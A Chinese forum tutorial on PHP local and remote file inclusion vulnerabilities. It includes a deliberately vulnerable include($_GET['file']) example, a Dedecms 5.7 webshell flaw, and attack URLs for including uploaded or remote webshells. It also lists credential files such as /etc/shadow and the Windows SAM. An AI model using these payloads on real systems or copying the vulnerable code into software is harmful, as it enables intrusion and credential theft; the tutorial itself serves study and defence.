Web安全之走進文件包含的世界

來源:http://bbs.ichunqiu.com/thread-9817-1-1.html?from=ch

社區:i春秋

時間:2016年8月9日22:42:00

作者:LoneliNess

前言

俗話說:“知己知彼,方能百戰不殆”,今天,小編就帶著你們走進文件包含的世界,去進一步的了解它,深入它……………….如有錯誤,請你雅正!!

目錄

第一節初識文件包含漏洞

·? ?? ?1.1、 什么是包含

·? ?? ?1.2、 文件包含漏洞是怎樣產生的

·? ?? ?1.3、 文件包含漏洞的分類

第二節??詳解PHP文件包含漏洞

·? ?? ? 1.4、解析PHP文件包含

·? ?? ? 1.5、文件包含實例及漏洞分析

·? ?? ? 1.6、常見的幾種攻擊手法

·? ?? ? 1.7、修復方案

第三節 嚴正聲明

正文

第一節初識文件包含漏洞

1.1、 什么是包含

程序猿常常把可以重復利用的函數寫到單文件中,在使用一些函數時,直接調用,無須再次編寫,這種過程呢,就稱為包含

1.2、? ?文件包含漏洞是怎樣產生的

程序猿為了讓代碼更靈活,會設置一些變量,用來動態調用,由于這種靈活,使客戶端闊以調用一個惡意的文件,從而造成文件包含漏洞

1.3、? ?文件包含漏洞的分類

文件包含漏分為本地文件包含(Local File Inclusion)程文件包含(Remote FileInclusion)

第二節??文件包含漏洞實例及常見的幾種攻擊手法

1.4、? ?解析文件包含

PHP文件包含漏洞涉及到的危險函數:

include(),require()和include_once(),require_once()

以上這些函數都闊以進行文件包含,但作用不同,區別如下:

Include:包含并運行指定文件,當包含外部文件發生錯誤時,系統給出警告,但整個php文件繼續執行。

Require:找不到包含文件產生致命錯誤,并停止腳本

Include_once:這個函數跟include函數作用幾乎相同,只是他在導入函數之前先檢測下該文件是否被導入。如果已經執行一遍那么就不重復執行了。

Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重復了。

1.5、? ?文件包含實例及漏洞分析

1)文件包含實例

本次測試,服務器環境為:

PHP??5.3.29

Mysql??5.0.8

Apache 2.4.18

1 本地文件包含(LFI)

小編寫了一個test.php文件

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

?>

然后在寫包含了一個phpinfo.txt進入文件內容是符合PHP語法的代碼

[AppleScript]純文本查看復制代碼

?

1

2

3

phpinfo();

?>

之后的效果如圖所示

2 遠程文件包含(RFI)

小編在這里須強調的是遠程文件包含,必須要確定PHP開啟了遠程包含功能選項,開啟此功能須在PHP.ini配置文件中修改,成功后重啟服務器生效

即allow_url_include=on

實例如下:

www.xxxcom目錄下存在1.txt,代碼如下(PS:沒有絲毫罵蛋總的意思):

[AppleScript]純文本查看復制代碼

?

1

2

3

echo"yyyxy is a bad man"

?>

在test.php中代碼如下:

[AppleScript]純文本查看復制代碼

?

1

2

3

4

5

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

?>

訪問url:http://www.xxxcom/test.php?file=http://localhost/1.txt

2漏洞實例分析

就拿Dedecms5.7 來講解吧(PS:想聽更好的講解可以去i春秋官網學習)

i春秋文件包含課程講解地址:http://www.ichunqiu.com/course/51575

廣告打得有點生硬,第一次,不好意思……..

這個漏洞主要由兩個原因引起的,其中最重要的一個原因,便是開發者沒有認識到Apache服務器解析文件的流程,從而導致安

裝文件在安裝后居然可以被繼? ? 續訪問。這里接單解釋下Apache解析文件的流程:

當Apache檢測到一個文件有多個擴展名時,如1.php.bak,會從右向左判斷,直到有一個Apache認識的擴展名。如果所有的擴展名Apache都不認識,那? ? 么變會按照httpd.conf配置中所指定的方式展示這個問題,一般默認情況下是“text/plain”這種方式。

那么這樣的話,像1.php.bak這樣的文件名就會被當做php文件所解析。這也就是傳說中的Apache解析漏洞

問題出在這里install/index.php.bak

[AppleScript]純文本查看復制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16[php]

else if($step==11)

{

require_once(‘../data/admin/config_update.php’);

$rmurl=$updateHost.”dedecms/demodata.{$s_lang}.txt”;

echo $rmurl;

$sql_content=file_get_contents($rmurl);

$fp=fopen($install_demo_name,’w’);

if(fwrite($fp,$sql_content))

echo ‘? [√] 存在(您可以選擇安裝進行體驗)’;

else

echo ‘? [×] 遠程獲取失敗’;

unset($sql_content);

fclose($fp);

exit();

[/php]

了解Dedecms參數機制的同學都知道,代碼中的一些變量我們是可以通過GET參數的方式進行操控的。那么上面代碼很明顯,可以向指定的文件內寫入任意內容,從而導致獲取webshell

如果想聽更詳細的講解請到http://www.ichunqiu.com/course/51575

1.6、? ?常見的幾種攻擊手法

1)? ?? ? 本地包含配合上傳拿shell

大多數網站都會有上傳功能,上傳個圖片,假設已上傳圖片一句話木馬,路徑為xxx/1.jpg,訪問http://www.xxx.com/index.php?file=./xxx/1.jpg

2)? ?? ? 遠程包含拿shell

這種應該非常少見了吧,目標主機必須保證allow_url_include=on情況,在http://***.com/根目錄下有一個一句話木馬的txt,訪問http://www.xxx.com/index.php?file=http://***.com/muma.txt

3)讀取敏感信息

訪問url:http://www.xxx.com/index.php?file=/etc/my.conf

如果存在本文件,他會讀出文件的內容……..反之

常見的敏感信息路徑

Windows系統

c:\boot.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?// 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml? ?? ?? ?? ?? ?//??IIS配置文件

c:\windows\repair\sam? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my,ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD? ?? ?? ?? ? //??MySQL root

c:\windows\php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?php 配置信息

c:\windows\my.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?MySQL 配置文件

......

Linux/Unix系統

/etc/passwd? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶信息

/etc/shadow? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ???//? ?Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf? ?? ???//? ?虛擬網站配置

/usr/local/app/php5/lib/php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??PHP相關配置

/etc/httpd/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?Apache配置文件

/etc/my.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?mysql 配置文件

1.7、??修復方案

限制路徑,禁止跳轉字符,如:../

把需要包含的頁面固定寫好,如:include(“test.php”)

第三節 嚴正聲明

本文討論的技術僅用于研究學習技術交流,嚴禁用于非法行為和破壞行為,否則造成的一切法律責任與作者以及本網站無關。

本文原創作者:LoneliNess,轉載須注明來自i春秋社區(BBS.ichunqiu.com)

結束語:

I春秋,你值得擁有!!不忘初心,方得始終!!!

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容